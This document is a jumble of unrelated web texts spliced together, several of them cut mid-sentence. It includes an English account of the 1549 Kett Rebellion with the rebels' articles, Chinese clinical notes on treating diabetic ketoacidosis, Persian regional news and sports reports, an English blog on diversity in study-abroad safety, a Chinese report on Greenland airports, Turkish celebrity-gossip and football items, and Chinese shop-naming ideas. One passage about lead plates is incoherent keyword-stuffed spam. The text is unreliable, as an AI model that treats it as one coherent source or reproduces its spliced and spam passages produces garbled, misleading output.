Afterwards it was claimed that the Kett Rebellion might have been a Catholic Plot linked to Princess Mary. It has also been suggested that the Earl of Warwick might have been involved in a conspiracy with Kett in an attempt to bring down Edward Seymour, Duke of Somerset. "Kett had been Dudley's tenant, and rumours have survived of an intrigue between the men to bring down the protector. The treasurer of the army, in particular, had been sending money to Kett.... But the principal participants, if such they were, have successfully covered any tracks they might have made. All is dark and uncertain. We may chronicle the larger movements of the time but the private deeds remain invisible. We may see dark shapes and outlines - the smiler with the knife under the cloak, the intriguer with the open purse - but we can conclude nothing." (23)
A. L. Morton, the author of A People's History of England (1938) argues that though the rising was suppressed, it did have an impact on the future of England: "It helped to stay the progress of the enclosures and to give East Anglia the predominantly peasant character which it long preserved and which made it a stronghold for parliament and the most advanced section of the New Model Army in the Civil War." (24)
Edward Seymour, Duke of Somerset, was criticised by the way he had dealt with the rebellion. William Paget wrote to Somerset about the way he had dealt with the crisis. He admitted that "there was never man that had the hearts of the poor as you have!" However, the way he had dealt with the uprising had given both occasion and boldness to strike. In doing so he had betrayed the governing class. He told him that he should concentrate his efforts on the "conservation and state of the realm." Paget then suggests that Somerset should bring an end to his programme of religious reform. Although the "old religion is forbidden by a law... the new religion is not yet printed in the stomachs of the eleven of twelve parts of the realm". (25)
Peter Ackroyd agues that the Kett Rebellion helped to bring about the fall of the Duke of Somerset: "The rebellions may have been crushed, but their ubiquity demoralized the government of the protector. He had acted in an inconsistent manner, at one moment trying to ease their discontents while at another relying upon naked force to suppress them; he had attempted both conciliation and violence, so gaining a reputation for both weakness and brutality." (26)
In 1949 a plaque was placed at the scene of the executions in Norwich: "In reparation and honour to a notable and courageous leader in the long struggle of the common people of England to escape from a servile life into the freedom of just conditions." In 1999 a memorial was established in Wymondham that recognised Kett's attempt to create a "fairer society".
1. We pray your grace that where it is enacted for enclosing that it be not hurtful to such as have enclosed saffron grounds for they be greatly chargeable to them, and that from henceforth no man shall enclose any more.
2. We certify your grace that whereas the lords of the manors have been charged with certain free rent, the same lords have sought means to charge the freeholders to pay the same rent, contrary to right.
3. We pray your grace that no lord of no manor shall common upon the common.
4. We pray that priests from henceforth shall purchase no lands neither free nor bond, and the lands that they have in possession may be letten to temporal men, as they were in the first year of the reign of King Henry VII.
5. We pray that all the marshes that are held of the king’s majesty by free rent or of any other, may be at such price as they were in the first year of King Henry VII.
6. We pray that reed ground and meadow ground may be at such price as they were in the first year of King Henry VII.
7. We pray that all bushels within your realm be of one stice, that is to say, to be in measure VIII gallons.
8. We pray that priests or vicars that be not able to preach and set forth the word of God to his parishioners may be thereby put from his benefice, and the parishioners there to choose another or else patron or lord of the town.
9. We pray that the payments of castle ward rent, blanch farm, and office lands, which hath been accustomed to be gathered of the tenements, whereas we suppose the lords ought to pay the same to their bailiffs for their rents gathering, and not the tenants.
10. We pray that no man under the degree of a knight or esquire keep a dove house, except it hath been of an old ancient custom.
11. We pray that all freeholders and copyholders may take the profits of all commons, and there to common, and the lords not to common nor take profits of the same.
12. We pray that no feodary within your shores shall be a counselor to any man in his office making, whereby the king may be truly served, so that a man being of good conscience may be yearly chosen to the same office by the commons of the same shire.
13. We pray your grace to take all liberty of leet your own hands whereby all men may quietly enjoy their commons with all profits.
14. We pray that copyhold land that is unreasonable rented may go as it did in the first year of King Henry VII. And that at the death of a tenant, or of a sale the same lands to be charged with an easy fine as a capon or a reasonable sum of money for a remembrance.
15. We pray that no priest shall hold no other office to any man of honour or worship, but only to be resident upon their benefices, whereby their parishioners may be instructed within the laws of God.
16. We pray that all bond men may be made free, for God made all free with his precious bloodshedding.
17. We pray that Rivers may be free and common to all men for fishing and passage.
18. We pray that no man shall be put by your Feudatory to find any office, unless he holdeth of your grace in chief, or capite above 10 by year.
19. We pray that the poor mariners or fishermen may have the whole profits of their fishings such as porpoises, grampuses, whales, or any great fish so it be not prejudicial to your grace.
20. We pray that every proprietary parson or vicar having a benefice of 10 or more by year, shall either by themselves, or by some other person teach poor men’s children of their parish the book called the catechism and the primer.
21. We pray that it be not lawful to the lords of any manor to purchase lands freely, (i.e. that are freehold), and to let them out again by copy or court roll to their great advancement, and to the undoing of your poor subjects.
22. We pray that no proprietary parson or vicar, in consideration of avoiding trouble and lawsuit between them and their poor parishioners, which they daily do proceed and attempt, shall from henceforth take for the full contents of all the tenths which now they do receive, but 8.
23. We pray that no lord, knight, esquire, nor gentlemen do graze nor feed any bullocks or sheep if he may spend forty pounds a year by his lands but only for the provision of his house.
24. We pray that no man under the degree of [word missing] shall keep any conies [= rabbits] upon any freehold or copyhold unless he pale them in so that it shall not be to the commons’ annoyance.
25. We pray that no person of what estate degree or condition he be shall from henceforth sell the awardship of any child, but that the same child if he live to his full age shall be at his own choosing concerning his marriage the King’s wards only except.
26. We pray that no manner of person having a manor of his own, shall be no other lord’s bailiff but only his own.
27. We pray that no lord, knight, or gentleman shall have or take in form any spiritual promotion.
28. We pray your grace to give license and authority by your gracious commission under your great seal to such commissioners as your poor commons have chosen, or to as many of them as your majesty and your counsel shall appoint and think meet, for to redress and reform all such good laws, statues, proclamations and all other your proceedings; which hath been hidden by your Justices of your peace, Sheriff, Feudatories, and other your officers, from your poor commons, since the first year of the reign of your noble grandfather King Henry VII.
29. We pray that those your officers, which have offended your grace and your commons, and [are] so proved by the complaint of your poor commons, do give unto these poor men so assembled 4d. every day so long as they have remained there.
The greatest test of Somerset's capacity for leadership came from a series of popular rebellions and riots that began in Cornwall in 1548 and spread through more than half the counties of England the next year. Somerset was faced by nothing less than the most extensive English risings of the sixteenth century. The western rising affected Cornwall, Devon, and Somerset, where conservative Henrician clergy with support from the gentry and commons resisted Somerset's religious programme. The new vernacular liturgy contained in the Book of Common Prayer was the most evident grievance of the Cornish rebels, but the other religious changes of recent years and opposition to enclosures were also important. Revolt began in Cornwall in April 1548 when the clergy and commoners resisted the removal of religious images from parish churches and killed a government official, while in Somerset weavers and other commoners pulled down hedges and fences. When the mayor and leaders of Exeter refused to ally with the rebels of Devon in June 1549 that city was besieged. Pacification required a substantial military force, but Somerset responded only after delays that frustrated other councillors, especially John, Baron Russell, who assumed command of the army sent to relieve Exeter in July. But not until the middle of August was the western rising crushed.
The Norfolk insurgents had assembled first at Wymondham, where they called on Robert Kett, a local landowner, to be their head. They then advanced on Norwich, throwing down fences as they went, and set up their camp to the north of the city, on Mousehold Heath. By the end of July they had made themselves masters of Norwich, but the bulk of the rebel forces remained in the camp, where Kett, with the help of an elected council, kept good order and discipline. It was a remarkable demonstration of self-government, and it showed the quality of the rebels. They were not a motiveless rabble but a company of small farmers, peasant cultivators, gathered together in defence of what they regarded as their traditional rights.
The main grievance of the rebels, as shown in the articles they drew up, was the excessive number of sheep being pastured by the landowners. Much of the country was well suited to sheep-farming, and the peasants, who had little land of their own, were dependent upon their right of common pasture. A few sheep could make a big difference to a man's income, and when a lord increased the number of animals he turned out to graze he threatened the peasants' livelihood - hence the demand `that no lord of no manor shall common [i.e. put his sheep to pasture] upon the commons'. Inflated rents were another grievance, as was shown in the request `that copyhold land that is unreasonably rented may go as it did in the first year of King Henry VII, and that at the death of a tenant or sale the same lands... be charged with an easy fine, [such] as a capon or a reasonable sum of money'.
Significantly absent from the list of grievances was any demand for a return to the old ways in religion. The rebels used the new Prayer Book for public services, and among those who were summoned to preach to the thousands assembled on Mousehold Heath was Matthew Parker, the future Archbishop. Moreover, one of the articles in the Norfolk list pointed in a very radical direction by suggesting that any priest who was `not able to preach and set forth the word of God to his parishioners may be thereby put from his benefice, and the parishioners there to choose another, or else the patron or lord of the town'.
Kett and his followers were convinced - much as Robert Aske and the "Pilgrims" had been twelve years earlier - that their action was not only morally justified but also lawful, and that they would therefore win the approval of the government. But Somerset was alarmed at the evidence of a widespread breakdown of public order throughout the kingdom and called on the Norfolk men to abandon their violent protest and return peacefully to their homes. He offered them a free pardon if they did so, but warned them that if they did not accept his offer he would use force. Somerset had already sent a detachment of mercenaries to William Parr, Marquess of Northampton, with instructions that he should use them as he thought fit, but Northampton's half-hearted attempt to capture Norwich was easily beaten off. By this time, however, John Dudley, Earl of Warwick, had returned from the west country, and he raised an army of some twelve thousand men - a mixture of mercenaries and local levies. In late August he seized Norwich, after several days of fierce street fighting. He then turned on the encampment at Mousehold Heath and encircled it. Kett gave the order to move out rather than face starvation, but this merely provided Warwick with the opportunity he was looking for. He sent his cavalry in among the rebels and turned their retreat into a rout in which many hundreds of them were slaughtered.
The rebellion was now all but over. A special commission was set up to deal with the prisoners, of whom forty-nine were executed. Kett and his brother William were sent up to London to be tried on a charge of treason. They were then returned to Norfolk to be executed. Kett was hanged at Norwich castle. His brother was strung up from the steeple of Wymondham church. Whatever sympathy Somerset might have felt for the Norfolk peasants, he behaved like
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常见。口服补磷总是优于静脉补磷，一旦患者可以进食，则推荐口服补磷
四、纠正酸碱平衡失调
经补液和小剂量持续滴注胰岛素治疗，血胰岛素水平足以抑制脂肪分解并纠正酮症，故轻症患者不必补碱。然而，严重酸中毒常导致一些不良反应，包括胰岛素敏感性降低，低血压、心脏输出量降低、外周血管阻力降低、肺动脉阻力增高、心动过缓和心律失常，肾脏和肠系膜缺血、脑血管扩张、脑脊液压力增高等，当血pH低至7.1～7.0时有抑制呼吸中枢和中枢神经功能的危险，故应给予相应治疗。但补充碳酸氢钠过多、过快又可产生不利的影响。由于二氧化碳透过血脑屏障的弥散能力快于碳酸氢根，快速补碱后，
血pH 上升，而脑脊液pH尚为酸性，引起脑细胞酸中毒，加重昏迷。又因回升的pH和保持低浓度的2，
3-DPG二者均加强血红蛋白和氧的亲和力，不利于氧释放向组织供氧，有诱发或加重脑水肿的危险。此外，还有促进钾离子向细胞内转移和反跳性碱中毒等不良影响，故补碱应慎重。如血pH降至7.1，或血碳酸氢根降至5mmol/L，可考虑缓慢补碱。一般用100ml碳酸氢钠加入400ml灭菌注射用水中，以200ml/h的速度静脉滴注。30分钟后复查血PH值，若PH值仍低于7.0，可再次补充碳酸氢钠。
五、处理诱发病和防治并发症
1、休克如休克严重且经快速输液后仍不能纠正，应详细检查井分析其原因，例如确定有无合并感染或急性心肌梗死，给予相应措施。
2、严重感染是本症的常见诱因，亦可继发于本症之后。因DKA可引起低体温和血白细胞升高，故此时不能以有无发热或血象改变来判断，应积极处理。
3、心力衰竭、呼吸窘迫常见于老年人或合并冠状动脉病变，尤其是急性心肌梗死。原因可能是补液速度过快、补液量过多、左心室功能不全或毛细血管漏综合症。可根据血压、心率、中心静脉压、氧饱和度、
液体出入量等情况调整输液量和速度，并视病情应用利尿药和正性肌力药。
4、肾衰竭是本症主要死亡原因之一，与原来有无肾病变、失水和休克程度、有无延误治疗等有密切关系。强调注意预防，一旦发生，及时处理。
5、脑水肿病死率甚高，常与脑缺氧、补碱不当、血糖下降过快等因素有关。临床上严重的脑水肿更易发生于儿童，约占儿童DKA患者的1%，成人少见。儿童患者脑水肿的发生与补液速度或血糖降低速度无明显相关性。患者在治疗过程中突发神志改变，或经治疗后，血糖有所下降，酸中毒改善，但昏迷反而加重，或虽然一度清醒，但烦躁、心率快、血压偏高、肌张力增高，均需警惕脑水肿的可能。一旦发生脑水肿，治疗上仍采用高渗性脱水、呋塞米以及地塞米松等。
6、胃肠道表现因酸中毒引起呕吐或伴有急性胃扩张者，可用1.25％碳酸氢钠溶液洗胃，清除残留食物，
预防吸人性肺炎，并可减轻病情和改善休克。
7、静脉血栓形成和肺栓塞是少见的“并发症”，脱水和电解质紊乱使血液处高凝状态，高危患者如老年或肥胖患者，需考虑预防性抗凝治疗。
8、其他低血糖和低血钾症是治疗过程中常见的并发症，根据上述建议治疗，两者均可以避免。治疗中也可出现低磷血症，还可出现高氯血症以及高氯性酸中毒。但是没有资料显示治疗HHS需常规补磷，静脉补磷应谨慎，在患者能进食和饮水后，可予口服补磷。补磷治疗后，可能出现低钙血症，因此在补磷治疗前需了解血钙水平。高氯血症尽管并无严重后果，但临床上可表现为治疗后阴离子间隙恢复正常，而碳酸氢根仍持续降低。احیای ۶۴ واحد راکد تولیدی استان سمنان در دستور کار است
به گزارش خبرگزاری recive استان سمنان در این نشست گفت محمدرضا باقری در نشست کارگروه نهضت احیا افزود: جلسات احیای واحدهای راکد در استان به ریاست استاندار سمنان به طور منظم طی هشت ماه گذشته برگزار شده و مصوبات جلسات پیگیری میشود.
وی بیان کرد: ۱۵۳ واحد راکد در شهرکها و نواحی صنعتی استان سمنان شناسایی شده است.
مدیرعامل شرکت شهرکهای صنعتی استان سمنان تصریح کرد: در نشست کارگروه نهضت احیا مسائل و مشکلات ۱۰ واحد تولیدی راکد و پنج فعال با کمتر از ظرفیت تولید در شهرکها و نواحی صنعتی استان مورد بررسی قرار میگیرد.
وی تصریح کرد: جانشینی سرمایه گذار، تزریق نقدینگی و سرمایه در گردش، کمک به تأمین مواد اولیه و جذب شریک و سرمایهگذار جدید از جمله راهکارهایی است که در رسیدگی به مسائل واحدهای مشکل دار و راکد و احیاء آنها مورد بررسی قرار میگیرد.
***عزیزالله قربانی در نشست کارگروه نهضت احیاء استان سمنان افزود: امسال، ۳ هزار و ۳۰۰ واحد صنعتی زیر ۵۰ درصد ظرفیت در برنامه حمایت افزایش ظرفیت سازمام صنایع کوچک و شهرکها صنعتی ایران قرار دارد که حدود ۱۷ هزار نفر از این محل، افزایش ظرفیت اشتغال ایجاد میشود.
وی تعداد واحدهایی که با ظرفیت کمتر از ۵۰ درصد فعالیت دارند را در شهرکها و نواحی صنعتی استان سمنان ۴۸۸ اعلام کرد و گفت: برنامه افزایش ظرفیت ۱۰۰ واحد نیمه فعال استان با تثبیت اشتغال ۵۰۰ نفر در سال جاری در دستور کار است.
وی با اشاره به اینکه در سال جاری ۲ هزار واحد راکد به چرخه تولید بازخواهد گشت، گفت: احیای این تعداد واحدهای راکد صنعتی منجر به اشتغال ۳۴ هزار نفر میشود.
قربانی گفت: ۴۴ درصد از این واحدها مشکل کمبود نقدینگی، ۱۶ درصد عدم تقاضا و بازار، ۱۰ درصد فرسودگی ماشین آلات، ۱۰ درصد ضعف فناوری، ۱۱ درصد کمبود مواد اولیه، ۹ درصد مشکلات حقوقی و ۸ درصد دارای مشکلات زیرساختی است.
معاون صنایع کوچک سازمان صنایع کوچک و شهرکهای صنعتی ایران تصریح کرد: سال گذشته دو هزار و ۶۷ واحد صنعتی راکد به چر�
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ح عملیاتی شود. علاوه بر این در تهیه و بازنگری طرحهای هادی روستایی همه نیازهای ۱۰ سال آینده روستا پیشبینی میشود.
خواجهای در رابطه با بخش بازسازی و مقاومسازی مسکن روستایی، اظهار کرد: ۹۲ هزار و ۶۰۰ واحد روستایی داریم که بیش از ۵۱ هزار واحد مقاومسازی انجام شده است. امسال مقاومسازی ۵۰۰۰ واحد در دستور کار قرار دارد و تا امروز نزدیک ۳۰۰۰ واحد برای دریافت تسهیلات به بانکها معرفی شدند. از سال گذشته نیز مبلغ تسهیلات دو برابر افزایش یافته که دوره بازپرداخت ۲۰ ساله است. همچنین زنجان رتبه برتر زنجان در اجرای طرح مقاومسازی را از آن خود کرد.
این مسئول خاطرنشان کرد: ۱۵۳ روستا با ۱۸ هزار و ۷۰۰ واحد مسکونی روی خط گسل زلزله قرار گرفته که در این راستا حدود ۴۰ درصد واحدها مقاومسازی شده است. در ۲۷۵ روستا نیز بحث مسیل داریم که ۴۲ هزار و ۵۰۰ واحد نیز در این محلها مستقر شده و ۱۹ هزار واحد معادل ۵۰ درصد آن تاکنون مقاومسازی شده است و همه دستگاههای اجرایی باید پای کار باشند تا این مهم در استان اتفاق بیفتد.به گزارش خبرنگار مهر، در هفته پنجم این رقابت ها که عصر پنج شنبه در مجموعه سوارکاری شهرستان گنبدکاووس برگزار شد، ۶۸ راس اسب از نژادهای ترکمن، دوخون و تروبرد داخلی در هفت دور یک هزار و یک هزار و ۲۰۰ متری به رقابت پرداختند که در پایان ۴۵۰ میلیون ریال جایزه نقدی به صاحبان اسب های اول تا سوم کورس های هفت گانه اهدا شد.
در این هفته از رقابت ها، در دور اول اسب ژیگل ناز با چابکسواری یاسر جرجانی، در دور دوم اسب فارلاک با چابکسواری جواد آچاک، در دور سوم اسب توادله با چابکسواری ابوطالب چاریزاده، در دور چهارم اسب کاواکا کووا با چابکسواری نادر صالح پور، در دور پنجم اسب میس باتور با چابکسواری امین محمدی، در دور ششم اسب تیم پای لت با چابکسواری امین محمدی و در دور هفتم اسب سهند بهزاد با چابکسواری اسحاق یزدانی، زودتر از سایرین از خط پایان گذشتند.
هفته ششم این مسابقات عصر جمعه در مجموعه سوارکاری شهرستان گنبدکاووس برگزار می شود که ۵۹ راس اسب از نژادهای ترکمن، دوخون و تروبرد داخلی در هفت دور یک هزار و یک هزار و ۲۰۰ متری با یکدیگر رقابت خواهند کرد.
گفتنی است؛ رقابت های کورس اسبدوانی پاییزه گنبدکاووس بهمن ماه به پایان می رسد و پس از تعطیلات عید نوروز، کورس بهاره در این شهرستان آغاز خواهد شد.Does Diversity Have a Place in the Health and Safety Conversation?
At initial glance, it may seem that student’s health and safety considerations may have very little to do with their personal identity. All students, after all, should be prepared for the physical, emotional, and mental strain related to acclimating to a new environment. All students should be briefed in the potential safety and security concerns of the country in which they will be living. So how exactly would a student’s identity influence this conversation? The short answer is in ways that we as international educators may not have considered before. The longer response is that it depends.
This is an area of health and safety that has grown significantly in the previous decade, not only in education abroad, but also in higher education more broadly. Going abroad can be a major life event for many of the students who are able to participate in an activity like study abroad. The experience of adapting to a new environment, a new group of peers, a new system of coursework, and managing relationships back home can be stressful for many students who go abroad. For students from racial and ethnic minority groups, first generation college students, and low-income students these stressors have the potential to be compounded.
Isolation is a frequently cited experience for students from diverse racial and ethnic populations as well as those from lower-income households. Being “the only one” (e.g., African American, Native American, Latino) on the program has the potential to create an environment where students who identify as the only one of their background on the program may not feel comfortable discussing particular challenges they may be experiencing while abroad. Similarly, students from low-income backgrounds may feel more isolated if they are not able to participate in excursions that come at an extra cost or travel regionally as some of their peers may. Often times, situations that arise as a result of a student’s background have the potential to fester, as many students may not see such incidents as worthy of reporting. Students from underrepresented backgrounds are often taught to manage these challenges independently, and support staff may not hear about situations (e.g., faculty member calls on only Asian American student in class when discussing Chinese culture, African American student is the only one in the group who is searched upon entry of a local club).
Seeking Out Resources and Local Diversity
We hear often of students from diverse backgrounds looking for specific products, services, or venues that are connected to their identity. It may be African American students looking for hair products or barbers/stylists who have experience with their hair type, or Latino students looking for cooking ingredients that remind them of home, Jewish students looking for Kosher-friendly stores, or students of a particular faith seeking out a place of worship. At first glance this may seem related to local culture more than safety, however, if we consider that students may be finding these resources by searching online and heading to a part of town they may not be familiar with, what was initially an effort to find relevant resources could turn into a potentially complicated excursion. There is, of course, a need to balance encouraging independent exploration with health and safety concerns. However, students can be encouraged to engage in “exploration within boundaries.” If we as international educators provide some of these resources in advance about a variety of places where they can find these products and services, students will have reliable information with the option to explore these venues independently.
While these are but two examples of how identity intersects with health and safety, there are certainly other ways in which students from diverse backgrounds may have unique health and safety considerations that all students could benefit from hearing about as they prepare to go abroad. Students from diverse backgrounds certainly benefit from having information and support as it relates to these topics, but students who may not initially identify with an underrepresented group also gain from engaging in these conversations. After all, students’ health and safety is a group responsibility, and it benefits all education abroad students to know how identity intersects with their experience on the ground.
Suggested Resources for Students
- Pre-departure discussion and on-site orientation that addresses current climate of diversity of the city/town (e.g., address what local “diversity” means).
- List of local resources related to health and beauty that includes venues that provide products and services for diverse populations (e.g., general drug stores, drug stores that carry ethnic beauty supplies, barbers, salons).
- List of places of worship for diverse religious groups.
- Super market or store recommendations that include more affordable grocery options, ethnic cuisine and ingredients, and Kosher and halal options.
- A “staff picks” list of diverse restaurant options.
- Recurring conversation group (middle and end of the semester or program) for students on the program to discuss their experiences, how they’ve adapted, challenges, and highlights.
- Frequent messages either via email or social media that remind students to share their experiences with staff.
This blog posted is reposted from the DiversityNetwork.org blog.【新唐人北京时间2019年02月15日讯】地处北极的格陵兰岛，与加拿大隔海相望，被称为“北美门户”。美媒报导，美国已成功阻止中共染指该岛机场建设，以防北京在此战略要地获得战机落脚点。
《华尔街日报》2月14日报导，格陵兰官方近期宣布，将由丹麦政府提供贷款，资助建设新的首都机场以及一个沿海机场，另一个机场则由格陵兰自行承担费用。
至此，格陵兰三座机场的建设，中国企业已无参与的可能。美国国防部也提出投资参与机场基建，帮助民用、军用飞机或侦察机在当地海岸降落。
美国官员表示，这次事件显示出盟友介入并帮助美国对抗中共全球野心的一种模式。
目前，格陵兰岛最大的机场只能停靠螺旋桨飞机。近年来，为改变与世隔绝的状况，这个岛国正在筹建三座大型国际机场。早在2017年，中共就开始和格陵兰政府商讨，由中共国有银行为该岛建设新机场提供资金，但条件是由中国公司负责机场的建造。
格陵兰是世界第一大岛，但大部分在北极圈内，人口只有数万。但该岛地处战略要地，美国在岛上设有导弹监踪基地。
美国担心，如果中共染指格陵兰机场建设，当地政府可能无法偿还5.55亿美元的中共贷款，最后导致中共控制机场，从而为中共军机获得潜在的立足点，威胁美国的军事基地。
英国BBC报导，格陵兰岛被北京视为“冰上丝绸之路”上至关
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进行保温处理，关闭加温装置以便使得加热炉的温度在12小时以上的时间内降至室温，即可得到成品；铁7.87本实用新型公开种铅板定位打孔治具，打孔治具包括两块互相连接的基板，所述基板上设置有多个钻孔，钻孔数量可调，基板上相平行的设置有两根扁条，两根扁条可以在基板平面上移动。钻孔的数量可根据具体的加工要求进行调整，使得本实用新型的铅板定位打孔治具适用于不同的施工条件；两根相互平行扁条的设置用于更好的固定加工的铅板，安装揭阳揭东区铅板主要有几大步骤？，加工精度提高；同时可以加工多块铅板，提高加工效率。揭阳揭东区。铅板的加工方法，包括下列步骤:若干块所述矩形铅防护模块两两边缘相抵形成所述模块化铅防护板，并设置有将所述模块化铅防护板固定于安装结构面的固定件，所述主防护铅板与所述安装结构面相抵接。[0006]第步、将原料送至连铸机，`进行连铸、在连铸过程中加入好，好和原料的质量比为1:200。连铸时间为1-2小时。2.根据权利要求1所述的预处理方法，其特征在于，所述沉淀好钡重量份为95~100，硬脂酸盐重量份为0.5~5.0。，揭阳榕城区叶片配重铅粉处于亏损的状态，揭阳实验铅粉主要应用特征问题是怎样的，潮州饶平县电解铅粉是多少İyi oynadık ama Beşiktaş çok güçlü
Süper Lig'de Beşiktaş'ın Gençlerbirliği'ni 1-0 mağlup ettiği maç sonrası Gençlerbirliği orta saha oyuncusu Stephane Sessegnon maç sonu yayıncı kuruluşa açıklamalarda bulundu.
Stephane Sessegnon'un açıklamaları şu şekilde:
"Çok zorlu bir maçtı. İyi oyuncuları olan iyi bir takıma karşı oynadık. İyi oynadık ama Beşiktaş çok güçlü bir takım. Zor maçlar vardı. Önümüzde 9 maç daha var. Kazanabiliriz, kaybedebiliriz ama elimizden gelen her şeyi yapacağız."توماس توخل، سرمربی آلمانی پاری سن ژرمن، معتقد است نیمار از حضور در این تیم رضایت دارد.
خبرگزاری فوتبال ایران پارس فوتبال دات کام :
غیبت چند روزی نیمار در تمرینات به دلیل تعطیلات سال جدید باعث شده توماس توخل در مورد بازی دادن به او مردد باشد اما سرمربی PSG در نهایت تاکید کرد خیلی از شرایط نیمار راضی است.
توخل گفت:
“من فکر می کنم در حال حاضر او خیلی خیلی خوشحال است و او بازیکنی حرفه ای، تاثیرگذار بوده که از نظر ذهنی در شرایط خوبی قرار دارد. از نظر من نیمار در پاری سن ژرمن هم در رختکن و هم در زمین احساس خوبی دارد و با نظم و انضباط فراوان، آماری که مشاهده می کنید را به ثبت رسانده است.
ما خیلی از شرایط او راضی هستیم و من احساس می کنم که او می خواهد نشان دهد که می تواند رهبر PSG باشد و این شرایط برای ما بسیار خوب است زیرا بالاتر از همه چیز، او یکی از بهترین بازیکنان جهان است. من باید با خود نیمار صحبت کنم تا دریابم بازی کردن در همه مسابقات برایش خوشایند است یا خیر. در مقابل پونتیوی، او شرایط خوبی از نظر ذهنی و فیزیکی داشت و می خواست ۹۰ دقیقه بازی کند.
باید در مورد زمان بازی کردن او در همه بازی ها صرفه جویی کنیم زیرا مسئولیت این موضوع به طور کامل با من است. اینکه او با شرایط ذهنی مناسب، زودتر به تمرینات بازگشته خوشحال کننده است اما من منتظرم او به مرز ۱۰۰% آمادگی که چند هفته پیش قرار داشت برسد زیرا نیمار بازیکنی تاثیرگذار است.”Tom Brady rekor bir yedinci Super Bowl yüzüğünü kazanarak zaten tarihi mirasına katkıda bulunmaya çalışıyor. Tampa Bay Buccaneers ile geçirdiği yıl büyülü görünüyor, ancak bunu magazin dergilerini okuyarak anlayamazsınız. Dedikoducu Polis Brady hakkında hikaye üstüne hikaye geldi ve Gisele Bundchen Çiftin 600 milyon dolarlık boşanmak üzere olduğunu iddia eden bir raporla birlikte evliliği çöküyor.
Ayrı Yaşamlar Yaşamak
2019 Aralık ayında, Star Brady ve Bündchen, ayrı hayatlar yaşamak . Çift 'uzaklaştı' ve 'çok farklı iki kişi olduklarını fark etti.' Yapılandırılmış bir hayatı seviyor ve her yerdedir - meditasyon yapmak için Kosta Rika'ya gittiğini söyleyen bir not almak için eve gelecektir! ' Bu hikaye, Brady'nin kendisi ve Bündchen'in genellikle iki farklı yöne çekildiğini söyleyen bir röportajdan sonra ortaya çıktı, ancak önemli bağlamı dışarıda bıraktı. Bu röportajda Brady, 'Birbirimize zaman ayırdığımızdan emin olmalıyız' dedi. İkisi birbirine yakın kaldı, bu yüzden bu hikaye tamamen sahteydi.
600 Milyon Dolarlık Boşanmaya mı Gidiyorsunuz?
Geçen ocak, Yaşam tarzı Bündchen ve Brady hakkında uzun bir anlatı başlattı boşanmak . 'Tom'a emekli olması için yalvarıyordu' ve 'Tom'a bir medyumun onu terk etmesini söylediğini söyledi.' Brady sadece medyumdan güldü ve Dedikoducu Polis bu hikayeden güldü. Brady ve Bündchen 12 yıldır evliler, bu yüzden onları ayırmak bir medyumdan daha fazlasını gerektirecek. O hafta Bündchen Instagram'da Brady'nin sevgi dolu bir fotoğrafını yayınladı, biz de hikayeyi bozduk.
Tampa Körfezi'ne Bencil Hareket
Haber, Brady'nin yeteneklerini güney sahiline götürdüğünü öğrendiğinde, Yaşam tarzı çirkin anlatısına 'Gisele’nin suçlandığını' bildirerek devam etti. Bencil olmanın Tom'u . ' Brady'nin aileyi Tampa Körfezi'ne taşıma kararı, Bündchen'i üzdü. İddia edilen bir kaynak Brady ayrıca “çocuklara onlarla geçirdiği süre boyunca kötü davrandıkları için bağırıyor. Daha sabırlı olması gerektiğini düşünüyor. ' Bündchen pek çok kez Brady’nin ebeveynliğine övgüde bulundu. Bündchen sözcüsü, bu hikayenin yanlış olduğunu söylemek için kayda geçti.
İkinci bir şans
Yaşam tarzı İlişkiyi yoluna sokmak için bu anlatıyı bir kez daha gözden geçirdi. Gazeteci, çiftin 'boşanmayı beklemeye aldığını' iddia etti, ancak 'New England Patriots'tan ayrıldıktan sonra işler karanlık bir hal aldı.' Sözde bir kaynak, Bündchen'in o kadar kızdığını ve “her şeyi parçalamakla tehdit ettiğini” söyledi. Tom’un sevilen Super Bowl halkaları 'Emekli olmayı reddetmesi üzerine. Bu, polisi olaya dahil ederdi ve bu da, şok edici bir şekilde var olmayan bir kağıt izi bırakırdı. Bütün bu hikaye, yumuşak kanıtı için sözde bir 'kaynağa' dayanıyordu, ancak Dedikoducu Polis Sadece Brady ve Bündchen arasındaki daha güzel mesajları görmek için Instagram'ı kontrol etmek gerekiyordu. İkisi ilişkiyi asla kurtarmadı çünkü ilk başta asla ciddi bir kurtarmaya ihtiyaç duymadı.
Gossip Cop'dan Daha Fazla Haber
Jeopardy'in Tartışmalı Konuk Sunucusunun Yarışmacıları Öfkeli
Gwen Stefani, Blake Shelton’ın Kelly Clarkson’a Tüm 'Dikkatini' Verdiği İçin Kıskanç mı?
Meghan Markle ve Prince Harry’nin Podcast'i Zaten İptal Edildi mi?
Kararımız
Dedikoducu Polis bu hikayenin tamamen yanlış olduğuna karar verdi.Kickboks; bir dövüş sanatıdır. Kickboksu diğer dövüş türlerinden ayıran özelliği diğerlerine göre daha sert olmasıdır. Kişi hem yumruklarını kullanırken aynı zamanda ayaklarıyla orantılı bir şekilde ilerlemesi gerekmektedir. Kickboksu sadece egzersiz çalışmaları sistemli ve düzenli olarak uygulanırsa mücadele yeteneği kazandırır.
Kickboks yapan kişi ruhsal ve bedensel açıdan olumlu duygular kazanır ve sorumluluk altına girer, kickboks yapan kişi sür
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店可以命名为顶丝，取自顶级老板的谐音，但它巧妙地突出了头发的特点，这让人们一眼就知道它是一家理发店，给人留下了深刻的印象。
参考有趣的店名
衬衫演义：以经典名称：三国演义。取而代之的是衬衫演义，让消费者一眼就知道它是一家服装店，会让人们想到三国演义中的英雄和情节，人们不禁想知道，看看这里卖的衣服和三国演义之间的关系，吸引顾客的好奇心。
羊来了:结合童话狼来命名，突出了店铺经营的主要羊肉产品。羊来了，顾客可以放心吃。他们不怕大灰狼来。店名很有意思。
烤冠军：结合古代考冠军谐音命名，突出了这是一家以经营烧烤产品为特色的店铺，是烧烤行业顶尖水平，也表达了店主对自己店铺产品的信心。
锦衣卫：锦衣卫是明代收集情报的机构人员，但锦衣也有衣服的含义，这里用作店名，表示这是一家卖衣服的店。
婴幼儿：取自成语，这里说是一家卖婴幼儿用品的店，店里的婴幼儿用品种类繁多，应有尽有。EDISON
